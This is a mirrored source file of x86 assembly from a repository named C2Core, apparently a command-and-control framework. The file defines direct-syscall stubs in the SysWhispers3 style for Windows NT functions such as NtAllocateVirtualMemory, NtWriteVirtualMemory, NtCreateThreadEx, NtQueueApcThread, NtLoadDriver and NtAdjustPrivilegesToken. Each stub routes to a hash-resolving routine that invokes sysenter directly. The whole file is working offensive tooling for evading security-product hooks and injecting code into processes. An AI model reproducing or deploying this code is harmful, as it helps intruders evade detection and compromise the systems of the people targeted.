mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
Maxime dcb
121 lines
2.4 KiB
NASM
121 lines
2.4 KiB
NASM
.686p ; p = privileged, allows sysenter
|
|
.model flat, c ; <-- C calling convention
|
|
option casemap:none
|
|
|
|
EXTERN getGlobalHash: PROC
|
|
|
|
EXTERN SW3_GetSyscallNumber: PROC
|
|
|
|
EXTERN SW3_GetSyscallAddress: PROC
|
|
|
|
|
|
.code
|
|
|
|
Sw3NtAllocateVirtualMemory PROC
|
|
jmp pipo
|
|
Sw3NtAllocateVirtualMemory ENDP
|
|
|
|
Sw3NtWaitForSingleObject PROC
|
|
jmp pipo
|
|
Sw3NtWaitForSingleObject ENDP
|
|
|
|
Sw3NtCreateThreadEx PROC
|
|
jmp pipo
|
|
Sw3NtCreateThreadEx ENDP
|
|
|
|
Sw3NtClose PROC
|
|
jmp pipo
|
|
Sw3NtClose ENDP
|
|
|
|
Sw3NtWriteVirtualMemory PROC
|
|
jmp pipo
|
|
Sw3NtWriteVirtualMemory ENDP
|
|
|
|
Sw3NtProtectVirtualMemory PROC
|
|
jmp pipo
|
|
Sw3NtProtectVirtualMemory ENDP
|
|
|
|
Sw3NtOpenProcess PROC
|
|
jmp pipo
|
|
Sw3NtOpenProcess ENDP
|
|
|
|
Sw3NtCreateProcess PROC
|
|
jmp pipo
|
|
Sw3NtCreateProcess ENDP
|
|
|
|
Sw3NtQueueApcThread PROC
|
|
jmp pipo
|
|
Sw3NtQueueApcThread ENDP
|
|
|
|
Sw3NtResumeThread PROC
|
|
jmp pipo
|
|
Sw3NtResumeThread ENDP
|
|
|
|
Sw3NtOpenProcessToken PROC
|
|
jmp pipo
|
|
Sw3NtOpenProcessToken ENDP
|
|
|
|
Sw3NtAdjustPrivilegesToken PROC
|
|
jmp pipo
|
|
Sw3NtAdjustPrivilegesToken ENDP
|
|
|
|
Sw3NtQueryVirtualMemory PROC
|
|
jmp pipo
|
|
Sw3NtQueryVirtualMemory ENDP
|
|
|
|
Sw3NtReadVirtualMemory PROC
|
|
jmp pipo
|
|
Sw3NtReadVirtualMemory ENDP
|
|
|
|
Sw3NtWriteFile PROC
|
|
jmp pipo
|
|
Sw3NtWriteFile ENDP
|
|
|
|
Sw3NtLoadDriver PROC
|
|
jmp pipo
|
|
Sw3NtLoadDriver ENDP
|
|
|
|
Sw3NtDeviceIoControlFile PROC
|
|
jmp pipo
|
|
Sw3NtDeviceIoControlFile ENDP
|
|
|
|
Sw3NtCreateKey PROC
|
|
jmp pipo
|
|
Sw3NtCreateKey ENDP
|
|
|
|
Sw3NtSetValueKey PROC
|
|
jmp pipo
|
|
Sw3NtSetValueKey ENDP
|
|
|
|
Sw3NtCreateFile PROC
|
|
jmp pipo
|
|
Sw3NtCreateFile ENDP
|
|
|
|
pipo PROC
|
|
push ebp
|
|
mov ebp, esp
|
|
call getGlobalHash
|
|
push eax
|
|
call SW3_GetSyscallNumber
|
|
lea esp, [esp+4]
|
|
mov ecx, 08h
|
|
push_argument_hash:
|
|
dec ecx
|
|
push [ebp + 8 + ecx * 4]
|
|
jnz push_argument_hash
|
|
mov ecx, eax
|
|
mov eax, ecx
|
|
push ret_address_epilog_hash
|
|
call do_sysenter_interrupt_hash
|
|
lea esp, [esp+4]
|
|
ret_address_epilog_hash:
|
|
mov esp, ebp
|
|
pop ebp
|
|
ret
|
|
do_sysenter_interrupt_hash:
|
|
mov edx, esp
|
|
sysenter
|
|
ret
|
|
pipo ENDP
|
|
|
|
end |